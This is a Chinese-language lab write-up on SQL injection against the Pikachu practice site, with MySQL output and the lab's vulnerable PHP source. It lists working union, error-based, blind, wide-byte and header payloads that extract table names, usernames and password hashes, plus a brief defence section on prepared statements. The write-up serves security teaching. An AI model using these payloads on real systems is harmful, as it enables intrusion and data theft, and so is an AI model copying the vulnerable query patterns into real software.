文章目录
1. 关于sql注入
数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
危害:被脱裤、被删除、甚至整个服务器权限沦陷。
挖掘步骤:
- 找注入点,注册、登录页面等,可自动可手工;
- 信息获取,如db版本、os、用户信息、表名、字段;
- 获取(系统)权限,执行shell、上传木马。
1.1 分类
以下分类可以排列组合
按语句及执行结果划分(首选思路)
union联合查询
报错注入
时间盲注
布尔盲注
宽字节注入
堆叠注入
根据http请求划分
get注入
post注入
http头注入(cookie, user-agent, host…)
都是修改数据包,另外最好编码一下。
根据传入参数类型划分
数字型、字符型、搜索型(like)
1.2 原理
先了解一些mysql的内置函数,如:
- user() 当前登录用户
- version()
- database()
mysql> select user(), version(), database();
+----------------+-----------+------------+
| user() | version() | database() |
+----------------+-----------+------------+
| root@localhost | 5.5.53 | pk |
+----------------+-----------+------------+
查看系统信息:select @@global.version_compile_os from mysql.user;
mysql> select @@global.version_compile_os from mysql.user;
+-----------------------------+
| @@global.version_compile_os |
+-----------------------------+
| Win32 |
| Win32 |
| Win32 |
+-----------------------------+
mysql还有个内置数据库information_schema
, 一些重要的表有:
- SCHEMATA,
SHOW databases
是查询这个表; - TABLES,
SHOW tables from DB
查询这个表; - COLUMNS,
SHOW columns from DB.TABLE;
查询这个表,信息粒度最小。
mysql> select SCHEMA_NAME from information_schema.SCHEMATA;
+--------------------+
| SCHEMA_NAME |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| pk |
| test |
+--------------------+
mysql> SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = "pk";
+--------------+------------+
| TABLE_SCHEMA | TABLE_NAME |
+--------------+------------+
| pk | httpinfo |
| pk | member |
| pk | message |
| pk | users |
| pk | xssblind |
+--------------+------------+
查询当前数据库所有表及其字段:
mysql> use pk;
Database changed
mysql> select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database();
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| pk | httpinfo | id |
| pk | httpinfo | userid |
| pk | httpinfo | ipaddress |
| pk | httpinfo | useragent |
| pk | httpinfo | httpaccept |
| pk | httpinfo | remoteport |
| pk | member | id |
| pk | member | username |
| pk | member | pw |
| pk | member | sex |
| pk | member | phonenum |
| pk | member | address |
| pk | member | email |
| pk | message | id |
| pk | message | content |
| pk | message | time |
| pk | users | id |
| pk | users | username |
| pk | users | password |
| pk | users | level |
| pk | xssblind | id |
| pk | xssblind | time |
| pk | xssblind | content |
| pk | xssblind | name |
+--------------+------------+-------------+
union
以pikachu靶场的users表为例:
mysql> select * from users;
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
| 2 | pk | 670b14728ad9902aecba32e22fa4f6bd | 2 |
| 3 | test | e99a18c428cb38d5f260853678922e03 | 3 |
+----+----------+----------------------------------+-------+
3 rows in set (0.00 sec)
mysql> select id,username from users UNION select password,1 from users;
+----------------------------------+----------+
| id | username |
+----------------------------------+----------+
| 1 | admin |
| 2 | pk |
| 3 | test |
| e10adc3949ba59abbe56e057f20f883e | 1 |
| 670b14728ad9902aecba32e22fa4f6bd | 1 |
| e99a18c428cb38d5f260853678922e03 | 1 |
+----------------------------------+----------+
6 rows in set (0.00 sec)
可以用这种方式确定列数:
mysql> select id,username from users union select 1;
ERROR 1222 (21000): The used SELECT statements have a different number of column
s
mysql> select id,username from users union select 1,2 ;
+----+----------+
| id | username |
+----+----------+
| 1 | admin |
| 2 | pk |
| 3 | test |
| 1 | 2 |
+----+----------+
当然也能用order by
mysql> select id,username from users order by 3;
ERROR 1054 (42S22): Unknown column '3' in 'order clause'
实例看字符型注入练习
报错注入
有些网站语法错误时会把报错信息输出到前端。
一些报错函数:
- updatexml(), extractvalue(),https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html#function_updatexml
- floor()
updatexml
需要了解下xpath语法:https://www.w3school.com.cn/xpath/xpath_syntax.asp
mysql官网updatexml的示例:
mysql> SELECT
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
-> UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
-> \G
*************************** 1. row ***************************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a> if multiple matches are found, the function returns the original xml_target XML fragment
Error handling. For both ExtractValue()
and UpdateXML()
, the XPath locator used must be valid and the XML to be searched must consist of elements which are properly nested and closed. If the locator is invalid, an error is generated:
mysql> SELECT ExtractValue('<a>c</a><b/>', '/&a');
ERROR 1105 (HY000): XPATH syntax error: '&a'
原理就是让xpath参数不符合格式,然后报错。
还是以pikachu 字符型注入为例。
输入1' and updatexml(1, user(), 0);#
, 返回XPATH syntax error: '@localhost'
user()换成version(), 返回XPATH syntax error: '.53'
,版本没有显示全。
但是输入1' and updatexml(1, database(), 0);#
,却没有报错,于是把xpath用字符串连接函数处理一下,加个~
(0x7e)前缀(其它也行,只要不符合xpath格式),改成1' and updatexml(1, concat(0x7e, database()), 0);#
, 返回了XPATH syntax error: '~pk'
.
尝试获取一下表名
1' and updatexml(1, concat(0x7e, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = "pk")), 0);#
返回了Subquery returns more than 1 row
, 只能显示一行报错信息。这时可以用limit限制只查询一行来解决,以下是查询第0行:
1' and updatexml(1, concat(0x7e, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = "pk" LIMIT 0, 1)), 0);#
返回XPATH syntax error: '~httpinfo'
可以抓包把LIMIT 0, 1
的0置位变量,然后用intruder模块自动获取表名:
获取users表的字段,可以找到password
1' and updatexml(1, concat(0x7e, (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME="users" LIMIT 0, 1)), 0);#
从users表获取用户名和密码
1' and updatexml(1, concat(0x7e, (select username from users LIMIT 0, 1)), 0);#
1' and updatexml(1, concat(0x7e, (select password from users LIMIT 0, 1)), 0);#
XPATH syntax error: '~admin'
XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'
获取password有个比较隐蔽的问题,那就是长度不够, 最长只有31位,所以这里调用一个right函数,取右边31位:
1' and updatexml(1, right(concat(0x7e, (select password from users LIMIT 0, 1)), 31), 0);#
XPATH syntax error: 'adc3949ba59abbe56e057f20f883e'
floor
mysql> select rand(0) from users;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
+---------------------+
3 rows in set (0.00 sec)
mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
+------------------+
3 rows in set (0.02 sec)
mysql> select id, username, floor(rand(0)*2) from users;
+----+----------+------------------+
| id | username | floor(rand(0)*2) |
+----+----------+------------------+
| 1 | admin | 0 |
| 2 | pk | 1 |
| 3 | test | 1 |
+----+----------+------------------+
rand()无参调用才是真随机,rand(0)其实是伪随机,每次都一样,序列为0110110011…
然后说下count函数和group by分组。
看下这个报错语句:
mysql> select count(*), floor(rand(0)*2)R from users group by R;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
count(*)结合group by时会创建一个临时表,group by的对象R便是该临时表的主键。如果临时表中已存在该主键,则将值加1,否则将insert该主键。
但神奇的是这里报错主键重复。原因是,查询和insert两个操作,会调用两次rand,比如:
- R0,不存在,则insert(再次rand, R1),value=1;
- R==1,存在,value=2;
- R0,不存在,再次insert(再次rand,R1),发现主键已存在。。。
于是报错了。所以,使用时表一定要有至少3行数据。当然rand(0)乘以其它数也可以。
如果没有count(*),则不会触发插入操作。
count(COL_NAME)
和count(*)
的区别在于, 星号会计算NULL值。
于是尝试查一下mysql版本:
1' and (select count(*), concat(version(), floor(rand(0)*2))R from information_schema.tables group by R) #
返回报错Operand should contain 1 column(s)
,提示不能包含多列,于是外面再包一层select:
1' and (select 1 from (select count(*), concat(version(), floor(rand(0)*2))R from information_schema.tables group by R) A) #
成功返回版本信息: Duplicate entry '5.5.531' for key 'group_key'
尝试获取表名:
1' and (select 1 from (select count(*), concat((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = database() LIMIT 0, 1), floor(rand(0)*2))R from information_schema.tables group by R) A) #
当然还是可以用burpsuite instruder将 (limit) 0 设为payload自动发包。
获取users表的字段:
1' and (select 1 from (select count(*), concat((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME="users" LIMIT 0, 1), floor(rand(0)*2))R from information_schema.tables group by R) A) #
从users表获取用户名和密码:
1' and (select 1 from (select count(*), concat((select username from users LIMIT 0, 1), floor(rand(0)*2))R from information_schema.tables group by R) A) #
Duplicate entry 'admin1' for key 'group_key'
1' and (select 1 from (select count(*), concat((select password from users LIMIT 0, 1), floor(rand(0)*2))R from information_schema.tables group by R) A) #
以上查询结果记着把最后的floor(rand(0)x2去掉。
盲注
就是指错误信息被屏蔽,无法参考错误信息。比如mysqli_query()
就不会输出错误信息。
有布尔盲注和时间盲注。
布尔盲注常用函数:ascii(), substr(s, offset, len), left(), right(), length()
执行sleep函数,如果F12网络信息响应时间变长了,则存在注入。
暴力破解
以字符型注入为例,提交1' or exists(select * from users)#
, 可以返回所有用户id和邮箱。
如果抓包后将users设为变量,就可以暴力破解,并且将错误的返回包关键字符串(如“用户不存在”)加到正则匹配里。
1.3 防范
代码层面
- 对输入进行转义和过滤(一般是指字符型注入);
- 参数检查,如判断是数字;
- PDO预处理,https://www.php.net/manual/en/pdo.prepare.php
- 参数化:不拼接sql语句
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss', $username, $password);
///
/* Execute a prepared statement by passing an array of values */
$sql = 'SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour';
$sth = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
$sth->execute(array('calories' => 150, 'colour' => 'red'));
$red = $sth->fetchAll();
/* Array keys can be prefixed with colons ":" too (optional) */
$sth->execute(array(':calories' => 175, ':colour' => 'yellow'));
$yellow = $sth->fetchAll();
?>
- 必要时购买waf和云防护。
2. 靶场练习
pikachu
数字型注入(post)
提交个id=1,抓包
POST /pk/vul/sqli/sqli_id.php HTTP/1.1
Host: 10.10.10.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://10.10.10.133
Connection: close
Referer: http://10.10.10.133/pk/vul/sqli/sqli_id.php
Cookie: PHPSESSID=nromried0flrterbht7hqde8f5
Upgrade-Insecure-Requests: 1
id=1&submit=%E6%9F%A5%E8%AF%A2
先试一下布尔盲注,输入1 and 1=1
和1 and 1=2
,结果不一样(前者返回一个email),则说明可能有注入。
1 or 1=1
返回了所有人的邮箱。
这里submit参数是url编码的,所以最好用bp url-encode all caracters编码一下id:
看下源码
if(isset($_POST['submit']) && $_POST['id']!=null){
//这里没有做任何处理,直接拼到select里面去了,形成Sql注入
$id=$_POST['id'];
$query="select username,email from member where id=$id";
$result=execute($link, $query);
//这里如果用==1,会严格一点
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$username=$data['username'];
$email=$data['email'];
$html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
}
}
字符型注入(get)
字符型注入,关键是构造闭合。
用1 or 1=1
这些,会显示用户不存在,但输入个单引号后,则返回sql语法错误: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
,提示和引号有关。
猜测后台sql查询语句:select username from member where username = '$username';
现在让它字符串闭合:select username from member where username = ' 1' or '1'='1 ';
输入1' or '1'='1
,于是返回了所有人的uid和email。
看下源码:
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
也可以把最后的引号给注释掉,提交1' or 1=1#
、 1' or 1=1--空格
这里顺便说一下mysql的注释:
#
, 井号,注释当前行;--空格
, 注释当前行;/**/
, 多行注释
然后再尝试获取下其它信息,输入1' union select 1,2#
和1' union select 1,2,3#
,确定有两列数据,再提交1' union select version(), user()#
获取mysql版本和当前用户:
your uid:5.5.53
your email is: root@localhost
获取表明及其字段
1' union select TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database();#
返回:
your uid:httpinfo
your email is: id
...
your uid:message
your email is: time
your uid:users
your email is: id
your uid:users
your email is: username
your uid:users
your email is: password
your uid:users
your email is: level
your uid:xssblind
your email is: id
...
注意到users表有password字段,获取一下:
1' union select username, password from users;#
your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e
your uid:pk
your email is: 670b14728ad9902aecba32e22fa4f6bd
your uid:test
your email is: e99a18c428cb38d5f260853678922e03
当然密码还需要尝试解密成明文。
搜索型注入
按提示直接输入两个百分号
源码:
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);
xx型注入
输入个单引号,返回You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1
,提示和括号有关
猜测sql语句:select xxx from xxx where username=('$username');
现在让括号闭合:select xxx from xxx where username=(' 1') or 1=1# ');
输入1') or 1=1#
,成功返回所有id和email。
看下源码:
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username=('$name')";
$result=execute($link, $query);
insert/update注入
和select不同,如果注释掉就不能执行插入或更新操作了,所以需要将语句闭合,或者补充其它value后注释。
点击注册(pk/vul/sqli/sqli_iu/sqli_reg.php
),需要填写的信息有用户、密码、性别、手机、住址、地址(这里重复了, 应该有一个是邮箱)。
猜测insert语句:
insert into users values('$username', '$password', '$sex', '$phone', '$addr1', '$addr2');
尝试在用户名这里给它闭合一下
insert into users values(' foo' or '
', $password', '$sex', '$phone', '$addr1', '$addr2');
用户名注册为foo' or '
, 后台查询一下,
mysql> select username, pw from member;
+----------+----------------------------------+
| username | pw |
+----------+----------------------------------+
...
| 0 | 37b51d194a7513e45b56f6524f2d51f2 |
+----------+----------------------------------+
mysql> select 'foo' or '';
+-------------+
| 'foo' or '' |
+-------------+
| 0 |
+-------------+
创建用户成功。
再尝试查询下数据库名
insert into users values(' 1' or updatexml(1,concat(0x7e, database()),0) or'
', $password', '$sex', '$phone', '$addr1', '$addr2');
提交1' or updatexml(1,concat(0x7e, database()),0) or'
, 返回XPATH syntax error: '~pk'
, 成功。
另外是自己补全其它value的方法
insert into users values(' bar', 'password', 'sex', 'phone', 'addr1', 'addr2');#
mysql> select * from member;
+----+----------+----------------------------------+------+-------------+-----------------------+----------------+
| id | username | pw | sex | phonenum | address | email |
...
| 27 | bar | password | sex | phone | addr2 | addr1 |
+----+----------+----------------------------------+------+-------------+-----------------------+----------------+
payload:
insert into users values(' bar' or updatexml(1,concat(0x7e, database()),0) or'', password, sex, phone, addr1, addr2);#
再次强调,实际情况记着url编码一下。
看下源码:
// $getdata=escape($link, $_POST);//转义
//没转义,导致注入漏洞,操作类型为insert
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
然后是修改个人信息,猜测update语句:
UPDATE member SET phone='$phone', addr='$addr', WHERE username=$_SESSION['username'];
尝试闭合一下:
UPDATE member SET password=' 123' where 1=1 and updatexml(1,concat(0x7e, database()),0)#
, phone='$phone' WHERE username=$_SESSION['username'];
提交123' where 1=1 and updatexml(1,concat(0x7e, database()),0)#
, 成功返回XPATH syntax error: '~pk'
.
看下源码:
// $getdata=escape($link, $_POST);//转义
//没转义,导致注入漏洞,操作类型为insert
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
delete注入
提示说删除评论有点问题。
猜测sql语句:
DELETE from comment where id=$COMMENTID;
构造一下payload:
DELETE from comment where id= -1 or updatexml(1,concat(0x7e, database()),0)#
;
先随便提交一个评论,前端源码里的删除按钮是这样的:
<a href='sqli_del.php?id=63'>删除</a>
点击删除抓下包,在repeater里构造一下payload:
GET /pk/vul/sqli/sqli_del.php?id=-1 or updatexml(1,concat(0x7e, database()),0)# HTTP/1.1
发送后响应包里没有搜到xpath,猜测是没有编码。
GET /pk/vul/sqli/sqli_del.php?id=%2d%31%20%6f%72%20%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%20%64%61%74%61%62%61%73%65%28%29%29%2c%30%29%23 HTTP/1.1
编码后成功返回了XPATH syntax error: '~pk'
。 然后试了下编码关键字符(空格变加号),也可以成功。
所以,再次强调养成repeater+编码的习惯。
看下源码:
// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
//没对传进来的id进行处理,导致DEL注入
if(array_key_exists('id', $_GET)){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
header("location:sqli_del.php");
}else{
$html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
}
}
http header注入
按照提示登录后返回以下内容:
朋友,你好,你的信息已经被记录了:点击退出
你的ip地址:10.10.10.131
你的user agent:Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
你的http accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
你的端口(本次连接):tcp55830
现实中,后台开发经常通过http头部获取一些客户端信息,比如ua,accept,而且使用sql处理,如果没有过滤则会导致http头部注入。
退出后重新抓一次包:
GET /pk/vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 10.10.10.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.133/pk/vul/sqli/sqli_header/sqli_header_login.php
Connection: close
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=4rfuqob21s3aha27e2r353ajk0
Upgrade-Insecure-Requests: 1
可以使用' or updatexml(1,concat(0x7e, database()),0) or'
挨个试试:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' or updatexml(1,concat(0x7e, database()),0) or'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' or updatexml(1,concat(0x7e, database()),0) or'
Cookie: ant[uname]=admin' or updatexml(1,concat(0x7e, database()),0) or'; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=4rfuqob21s3aha27e2r353ajk0
看下源码:
// $remoteipadd=escape($link, $_SERVER['REMOTE_ADDR']);
// $useragent=escape($link, $_SERVER['HTTP_USER_AGENT']);
// $httpaccept=escape($link, $_SERVER['HTTP_ACCEPT']);
// $httpreferer=escape($link, $_SERVER['HTTP_REFERER']);
//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];
//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);
布尔盲注
这里提示有问题,并没有admin用户,查下后台member表,就用vince吧。
vince' and 1=1#
vince' and 1=2#
也可以试一下闭合
vince' and '1'='1
vince' and '1'='2
返回都不一样,可以判断出存在注入。
猜测数据库名
vince' and length(database()) > 1#
vince' and length(database()) < 2#
vince' and substr(database(), 1, 1) > 'o'#
vince' and substr(database(), 1, 1) < 'q'#
vince' and ascii(substr(database(), 1, 1)) > 111# 'o'
vince' and ascii(substr(database(), 2, 1)) < 113# '1'
vince' and substr(database(), 2, 1) > 'j'#
vince' and substr(database(), 2, 1) < 'l'#
这里只是获取数据库名,如果是获取更多信息(把database()换成select limit语句),逐个字符地确认就非常慢了。如果写脚本,也有可能被封ip。。
看下源码:
$link=connect();
$html='';
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//mysqi_query不打印错误描述,即使存在注入,也不好判断
$result=mysqli_query($link, $query);//
// $result=execute($link, $query);
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
时间盲注
和布尔盲注几乎一样
vince ' and sleep(5)#
加个判断:
vince ' and if((length(database()) =2),sleep(3),null)#
这样获取其它信息的话,更慢了,,
源码和布尔盲注一样。
宽字节注入
mysql编码为gbk时,如果前一个字符大于128,则会将两个字符当成一个汉字。
这里提交' or '1'='1
, 返回用户不存在。
直接看下源码:
$link=connect();
$html='';
if(isset($_POST['submit']) && $_POST['name']!=null){
$name = escape($link,$_POST['name']);
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
$set = "set character_set_client=gbk";
execute($link,$set);
//mysqi_query不打印错误描述
$result=mysqli_query($link, $query);
if(mysqli_num_rows($result) >= 1){
while ($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
echo $query
查看一下sql语句:
select id,email from member where username='\' or \'1\'=\'1'
引号都加了转义。
然后尝试宽字节注入,bp抓包用%8f
和斜杠构成汉字:
name=%8f' or 1=1#&submit=%E6%9F%A5%E8%AF%A2
成功返回所有用户信息。sql语句为select id,email from member where username='�\' or 1=1#'
反斜杠是0x5c
如果直接输入1%df' or 1=1
,因为浏览器url编码,后台sql语句会把%df
当成3个字符,而不是一个字符。所以再次强调抓包加编码的习惯。